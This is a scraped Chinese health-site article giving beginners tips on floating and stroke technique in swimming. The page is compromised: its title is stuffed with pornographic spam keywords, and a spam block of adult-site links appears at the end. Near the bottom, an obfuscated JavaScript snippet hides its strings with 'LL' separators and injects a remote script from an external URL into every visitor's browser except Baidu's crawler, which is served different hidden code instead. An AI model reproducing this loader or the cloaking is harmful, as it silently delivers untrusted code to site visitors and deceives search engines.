久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

游泳為什么浮不起來呢?

2017-04-15 23:20:29  來源:360常識網   熱度:
導語:每逢到夏季的時候有很多人都會到海邊或者河邊去游泳,但是有很多人在初次游泳的時候,總是說自己浮不起來,常常導致出現嗆水的現象,其實這

每逢到夏季的時候有很多人都會到海邊或者河邊去游泳,但是有很多人在初次游泳的時候,總是說自己浮不起來,常常導致出現嗆水的現象,其實這跟游泳方法的正確與否有很大關系,如果沒有掌握好正確的游泳方法的話,很容易出現上述這種情況,那么游泳時浮不起來該怎么辦呢?

1、全身放松。先吸一口氣,身子向前傾伸直。胳膊放到你的大腿兩側,(也就是兩只手摸住你大腿兩側)感覺身子將要浮起來,然后馬上用兩只腳蹬兩下水,(就像蛙泳蹬水一樣)只有這樣快速蹬水,身子就不會沉下去了。

2、兩只腳并攏伸直。腳趾頭并直向下彎。大腿使勁。推動水就可以向前進了。

3、大腿打水時,肩膀一定要平衡,不要左右晃動,否則就沒有平衡感了。頭也不要動。

4、胳膊的劃水:右手并攏胳膊抬到耳部為準不要劃過頭里邊,(保持為直線)手入水的時候是手的小指先入水。大母指是出水。然后再左手入水,入水方法和右水劃水一樣。一只胳膊入水另一只胳膊出水。兩只手要輪流交換,就好像蹬自行車的腳踏板一樣。

5、切記::肩膀不要左右晃動。胳膊抬起劃水貼進耳部,手不要劃到頭里邊。還有就是要大腿使勁打水,千萬不要小腿打水。還有就是屁股不要坐在水里,身子一定要成一條直線,胳膊劃水、都要直。

仰泳的吸氣方法是:嘴巴吸氣,鼻子呼出氣,這樣鼻子就不嗆水了。

游泳也是需要掌握一定方法的,上面是有關游泳的一些方法的介紹,雖然有些人理論掌握得特別好,但是真正實踐起來跟理論是有一定差距的,所以如果要想學會游泳的話一定要到游泳池里學習。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产成人啪精品午夜在线观看 | 中文字幕在线观看免费视频 | av网址在线播放 | 久久久久久精 | 欧美在线 | 国产精品久久久久久婷婷天堂 | yiren22综合网成人 | 欧美成人手机在线 | 97在线免费观看 | 久久99精品久久久水蜜桃 | www.啪啪| 欧美亚洲专区 | www.精品| 欧美日韩黄色一区二区 | 国产中文视频 | 国产精品免费久久 | 黄色大片免费网站 | 婷婷色中文网 | 无遮挡又黄又刺激的视频 | 91精品国产色综合久久不卡蜜臀 | 亚洲福利片| 91精品国产高清一区二区三区 | 国产精品久久久久久久久久久免费看 | 国产精品久久久久久久久免费高清 | 色综合久久久 | 九九免费观看全部免费视频 | 久久国产精品视频 | 国产成人精品一区二区视频免费 | 精品亚洲一区二区三区 | 黄色成人在线 | 一区二区三区高清不卡 | 日韩在线视频网站 | 成人深夜视频 | 亚洲天堂一区 | 日韩在线视频精品 | 欧美一区二区三区视频在线观看 | 美日韩一区 | 探花在线| 欧美成人一区二区三区片免费 | 真实国产露脸乱 | 国产理论一区 |